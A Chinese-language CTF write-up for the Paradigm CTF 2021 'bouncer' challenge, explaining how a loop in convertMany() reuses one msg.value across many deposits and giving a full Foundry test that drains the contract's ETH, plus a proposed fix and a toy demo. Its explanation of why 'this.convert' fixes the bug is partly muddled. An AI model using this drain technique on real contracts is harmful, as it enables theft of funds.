06.bouncer
2023-09-26 20:18:46 # 19.Paradigm CTF 2021

bouncer

分析

1.全局观

  • Bounder.sol

    • ERC20Like:接口
    • Bouncer
      • owner机制,需要验证,无法修改owner
      • 抄AAVE的存取款机制,存款可以让别人帮,可以批量存款
      • owner可以执行任何逻辑:delegatecall
  • Setup:初始化题目

2.任务

将bouncer的ETH余额设置为0

1
2
3
function isSolved() public view returns (bool) {
return address(bouncer).balance == 0;
}

3.详细分析

根据Setup的初始化情况,我们来看一下资产与状态情况:

ETH WETH 状态
Setup 48 注册:10WETH,10ETH
bouncer 52 owner=Setup
party

我们要将bouncer的52ETH归零,那么就需要让bouncer发钱出来,可能的方法只有:payout()claimFees()hatch()

  • claimFees():需要owner才做,并且从题目(0.8.0)可以看出,owner无法修改,同时0.8.0也意味着不可能有重入、移除的可能性了。此方法废弃。

  • hatch():需要owner才能操作,但我们不可能是owner,或者是否可能让合约回调自己内?看完题目知道也没有相关的方法。此方法废弃。

  • payout()

    • 这个是转账的逻辑,那么本题只可能在转账的逻辑等问题上出考点了。

    • 要调用payout()只能通过redeem()。虽然redeem()可以随意调用,但是余额不足回revert。因此我们必须先存款。

    • 存款方法有两个,一个是普通单个存款convert(),一个是为了省gas的批量存款convertMany()convert()分析完之后,没啥问题,就是模仿AAVE的机制,再来看一下批量存款convertMany(),额这么少代码,应该没问题,不对,等等!这特么好经典的问题:循环 + 存款逻辑,那么msg.value就可以被复用,一份msg.value存多次。

      1
      2
      3
      4
      5
      function convertMany(address who, uint256[] memory ids) payable public {
      for (uint256 i = 0; i < ids.length; i++) {
      convert(who, ids[i]);
      }
      }

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;

import "forge-std/Test.sol";
import "../../src/06.bouncer/Setup.sol";

contract attackTest is Test {
address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
string constant weth9_Artifact = 'out/tools/helper_WETH9.sol/WETH9.json';

Setup public level;
Bouncer public bouncer;
WETH9 public weth;

function setUp() public {
// 初始化题目
weth = WETH9(deployHelper_weth(weth9_Artifact));
vm.label(address(weth), "weth");

level = new Setup{value: 100 ether}(address(weth));
vm.label(address(level), "level");
bouncer = level.bouncer();
}

function test_isComplete() public{
// 我们用 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 进行攻击
payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4).transfer(20 ether);
vm.startBroadcast(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
vm.label(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, "player");

for(uint256 i = 0; i < 10; i++){
// entry[msg.sender][0] ~ entry[msg.sender][9]
bouncer.enter{value: 1 ether}(ETH, 10 ether);
}
//此时Bouncer余额:62ETH

// 等待一下,因为不能马上存款
// require(block.timestamp != entry.timestamp, "err/wait after entering");
vm.warp(block.timestamp + 1);

// 构造数组
uint256[] memory ids = new uint256[](10);
for(uint256 i = 0; i < 10; i++){
ids[i] = i;
}

// 10 ETH成功存了10次(本来需要100ETH)
bouncer.convertMany{value: 10 ether}(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), ids);
//此时Bouncer余额:72ETH

// 取走72ETH
for(uint256 i = 0; i < 7; i++){
bouncer.redeem(ERC20Like(address(ETH)), 10 ether);
}
bouncer.redeem(ERC20Like(address(ETH)), 2 ether);

assertEq(level.isSolved(), true);

vm.stopBroadcast();
}

// 部署WETH
function deployHelper_weth(string memory what) public returns (address addr) {
bytes memory bytecode = vm.getCode(what);
assembly {
addr := create(0, add(bytecode, 0x20), mload(bytecode))
}
}

}

漏洞修改

1
2
3
4
5
6
function convertMany(address who, uint256[] memory ids) payable public {
for (uint256 i = 0; i < ids.length; i++) {
//convert(who, ids[i]); 改成下面的就可以了
this.convert(who, ids[i]);
}
}

模拟实验:本题的问题和A合约中的canBuy()原理一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
pragma solidity 0.8.0;

import "hardhat/console.sol";

contract A{
uint256 public x = 0;

function money() public payable {
require(msg.value == 1 ether, "not enough money");
x++;
}

function canBuy() public payable {
for(uint256 i = 0; i < 10; i++){
// 少了this则用的是方法的msg.value,在本次调用永远不变,如果此方法中有其他本合约的payable方法调用,则msg.value会传递进去。
money();
}
}

function cannotBuy() public payable {
for(uint256 i = 0; i < 10; i++){
this.money();
// 为什么这个不可以运行呢?
// 因为this是一个对象,每运行一次,自身的msg.value属性就会减去,会更新自己的msg.value,优先级大于方法的msg.value。
// 而少了this则用的是方法的msg.value,在本次调用永远不变,如果方法中有其他本合约的payable方法调用,则msg.value会传递进去。
}
}

function bCanBuy(B b) public payable {
b.money{value: msg.value}();
}

function bCannotBuy(B b) public payable {
// 无法购买的原因是没有将msg.value传递过去
b.money();
}

function bMultiBuy(B b) public payable {
for(uint256 i = 0; i < 2; i++){
console.log("start buying, my msg.value=",msg.value);
//b.money{value: msg.value}();
// 报错,因为第一次的时候就将this的所有msg.value发过去了,this没钱了,而打印出来的msg.value是方法的msg.value
// start buying, my msg.value= 2000000000000000000
// before buy, msg.value= 2000000000000000000
// after buy, msg.value= 2000000000000000000
// start buying, my msg.value= 2000000000000000000
// transact to A.bMultiBuy errored: VM error: revert.
b.money{value: 1 ether}();
// 正确
// start buying, my msg.value= 2000000000000000000
// before buy, msg.value= 1000000000000000000
// after buy, msg.value= 1000000000000000000
// start buying, my msg.value= 2000000000000000000 这里的2ether是方法的msg.value,而实际的this的msg.value只有1ether
// before buy, msg.value= 1000000000000000000
// after buy, msg.value= 1000000000000000000
}
}
}

contract B{
uint256 public x = 0;

function money() public payable {
console.log("before buy, msg.value=",msg.value);
require(msg.value >= 1 ether, "not enough money");
console.log("after buy, msg.value=",msg.value);
x++;
}
}